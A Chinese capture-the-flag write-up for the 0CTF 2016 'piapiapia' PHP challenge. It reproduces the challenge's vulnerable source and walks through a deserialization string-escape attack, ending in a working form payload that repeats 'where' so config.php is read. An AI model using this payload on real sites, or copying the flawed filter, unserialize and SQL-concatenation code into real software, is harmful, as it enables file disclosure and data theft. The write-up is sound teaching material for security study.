BUU [0CTF 2016]piapiapia

本文涉及的产品
RDS AI 助手,专业版
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
简介: BUU [0CTF 2016]piapiapia

BUU [0CTF 2016]piapiapia

进去之后是个登录界面,抓包有一个cookie。感觉是十六进制,但是其实不是这样做,是应该扫描的。

buu什么都扫不出来,直接看源码。

/register.php是个注册界面,先注册一个账号。然后补充信息,啥都没有哈哈哈哈。

/www.zip访问一下,获得源码。

先看看哈,有用的如下:

<?php
  require_once('class.php');
  if($_SESSION['username']) {
    header('Location: profile.php');
    exit;
  }
  if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)    //长度限制用数组绕过
      die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');

    if($user->login($username, $password)) {
      $_SESSION['username'] = $username;
      header('Location: profile.php');
      exit; 
    }
    else {
      die('Invalid user name or password');
    }
  }
  else {
?>
//config.php
<?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = '';
  $config['database'] = '';
  $flag = '';              //服务器里面这个是有值的。
?>
//profile.php
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First'); 
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);          
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);      //profile.php 此处从数据库中取出序列化的$profile
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));    //利用这个读取文件
?>
//update.php
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First'); 
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
//update.php里对传入的变量做了简单的检查
    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');
    
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];    //photo不好改,nickname传东西使photo逃逸
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>

//update.php此处的serialize($profile)将会存入数据库
//class.php
<?php
require('config.php');

class user extends mysql{
  private $table = 'users';

  public function is_exists($username) {
    $username = parent::filter($username);             //在这里进行了替换,那不就可以反序列化字符串逃逸了

    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}

class mysql {
  private $link = null;

  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'], 
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;
  }

  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }

  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\''; 
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }

  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }

  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);

思路:update.php中有一个¥ profile数组变量,这个数组里有 ¥phone, ¥email, ¥nickname, ¥photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为"config.php",则能在访问profile.php时获得base64编码之后的config.php源码。


知识点:反序列化字符串逃逸。


只有where——>hacker多了一个字符串


正常我反序列化一个字符串


a:4:


{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:3:"jay


";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}


如果我把jay(nickname)改成";}s:5:“photo”;s:10:“config.php”;} //长度34,注意s前面的花括号,是个坑点。


变成


a:4:


{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:34:“”;}s:5:“photo”;s:10:“config.php”;}


";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}


字符串长度多少,替换几次


坑点

提交的时候 需要将nickname转换为数组进行提交,我where33次,提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname的s前面有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。

payload:
phone=15990231470
email=3539306573@qq.com
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

改包发包,然后在profile.php页面ctrl+r看源码。

base64解码得到flag

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
PHP 数据安全/隐私保护
[SUCTF 2019]EasyWeb
[SUCTF 2019]EasyWeb
405 0
BUUCTF [UTCTF2020]docx 1
BUUCTF [UTCTF2020]docx 1
444 0
|
11月前
|
安全 测试技术 PHP
[NPUCTF2020]ReadlezPHP1怎么回事?
NPUCTF2020的ReadlezPHP1题目展示了文件包含漏洞的利用和防御。通过对PHP代码的审计,可以发现并利用文件包含漏洞来读取敏感文件或执行恶意代码。然而,通过严格限制用户输入、使用绝对路径、禁用URL包含和避免动态包含,可以有效地防御文件包含漏洞,从而提高Web应用的安全性。在实际开发中,应时刻保持安全意识,定期进行代码审计和安全测试,以防范潜在的安全风险。
301 36
[极客大挑战 2019]Havefun1
[极客大挑战 2019]Havefun1
|
SQL 数据库
BUUCTF sqltest 1
BUUCTF sqltest 1
933 0
|
安全 算法 网络安全
|
PHP
[极客大挑战 2019]RCE ME
[极客大挑战 2019]RCE ME
266 0
|
PHP
BUU [网鼎杯 2020 青龙组]AreUSerialz
BUU [网鼎杯 2020 青龙组]AreUSerialz
413 0
|
SQL XML 安全
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2
BugKu CTF(Web):sqli-0x1 & baby lfi & baby lfi 2